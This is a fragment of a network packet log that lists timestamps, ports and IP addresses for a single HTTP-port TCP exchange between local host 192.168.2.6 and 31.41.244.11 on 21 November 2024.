Nov 21, 2024 14:11:14.108947992 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.108963966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.108980894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.109631062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.109673977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.109711885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.109729052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.109812021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.110407114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.111854076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.281332970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.281397104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.281413078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.281435013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.281485081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.281485081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.281807899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.281824112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.281862974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.281887054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.281892061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.282376051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.282569885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.282620907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.282670975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.282715082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.282814980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.282892942 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.283479929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.283531904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.283546925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.283560038 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.283580065 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.284395933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.284478903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.284496069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.284512997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.284528971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.285206079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.285233021 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.285248041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.285259008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.285285950 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.286063910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.286107063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.286118984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.286123037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.286159992 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.286194086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.286912918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.286956072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.286972046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.287005901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.287023067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.287779093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.287832975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.287848949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.287902117 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.287902117 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.288675070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.288713932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.288724899 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.288731098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.288753033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.288779020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.289556026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.289613962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.289628983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.289644003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.289660931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.290447950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.290483952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.290493011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.290499926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.290529966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.290556908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.291351080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.291367054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.291383028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.291431904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.291449070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.292165041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.292212009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.292227983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.292256117 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.292279959 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.293051958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.293093920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.293119907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.293135881 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.293183088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.293955088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.294012070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.294045925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.294066906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.294117928 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.294814110 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.294856071 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.294869900 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.294871092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.294929981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.295020103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.295674086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.295730114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.295732975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.295749903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.295775890 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.295803070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.296643972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.296698093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.296726942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.296750069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.296777010 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.296788931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.297498941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.297545910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.297576904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.297595024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.297635078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.298369884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.298403025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.298418999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.298422098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.298456907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.299217939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.299269915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.299284935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.299300909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.299334049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.299349070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.300132036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.300158024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.300173998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.300179005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.300210953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.300991058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.301039934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.301373959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.301389933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.301405907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.301424026 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.301439047 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.302129984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.302184105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.302216053 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.302232981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.302272081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.303004026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.303049088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.303055048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.303066969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.303162098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.303884983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.303956985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.303971052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.304002047 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.304028988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.304755926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.304783106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.304797888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.304805040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.304836988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.305635929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.305685043 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.305701017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.305720091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.305794001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.306500912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.306562901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.306577921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.306610107 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.306624889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.307379007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.307427883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.307434082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.307451010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.307481050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.307492971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.308345079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.308370113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.308386087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.308391094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.308418036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.308444023 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.309216976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.309268951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.309312105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.309329033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.309369087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.310038090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.310086012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.310106993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.310136080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.310177088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.310915947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.310964108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.310976982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.310992956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.311031103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.311866999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.312061071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.482510090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.482544899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.482562065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.482578993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.482623100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.482939959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.483017921 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.483057976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.483119965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.483134985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.483151913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.483169079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.483185053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.483903885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.483944893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.483959913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.483963013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.483990908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.484005928 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.484785080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.484817982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.484828949 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.484833956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.484869957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.484883070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.485644102 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.485707045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.485719919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.485738039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.485799074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.486529112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.486582041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.486584902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.486601114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.486629009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.486644030 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.487407923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.487454891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.487483978 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.487498999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.487526894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.487541914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.488362074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.488410950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.488415956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.488428116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.488459110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.488482952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.489171982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.489259958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.489267111 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.489275932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.489300013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.489312887 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.490130901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.490154028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.490169048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.490185022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.490200996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.490207911 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.491194963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.491244078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.491274118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.491288900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.491323948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.491337061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.492094994 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.492141962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.492156982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.492156982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.492217064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.492217064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.492911100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.492968082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.492969990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.492985964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.493032932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.493050098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.493660927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.493686914 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.493701935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.493750095 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.494455099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.494478941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.494493961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.494503021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.494539022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.495455027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.495512009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.495539904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.495554924 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.495630026 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.496208906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.496233940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.496248960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.496296883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.497061014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.497114897 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.497128010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.497143030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.497180939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.497198105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.497948885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.497973919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.497991085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.498014927 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.498042107 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.498832941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.498878956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.498889923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.498908043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.498934031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.498944998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.499758959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.499773979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.499789953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.499813080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.499813080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.499831915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.500597954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.500674963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.500690937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.500742912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.501548052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.501595020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.501753092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.501816988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.501827002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.501843929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.501985073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.502712965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.502765894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.502780914 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.502796888 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.502813101 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.502825975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.503536940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.503590107 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.503629923 CET	80	49876	31.41.244.11	192.168.2.6
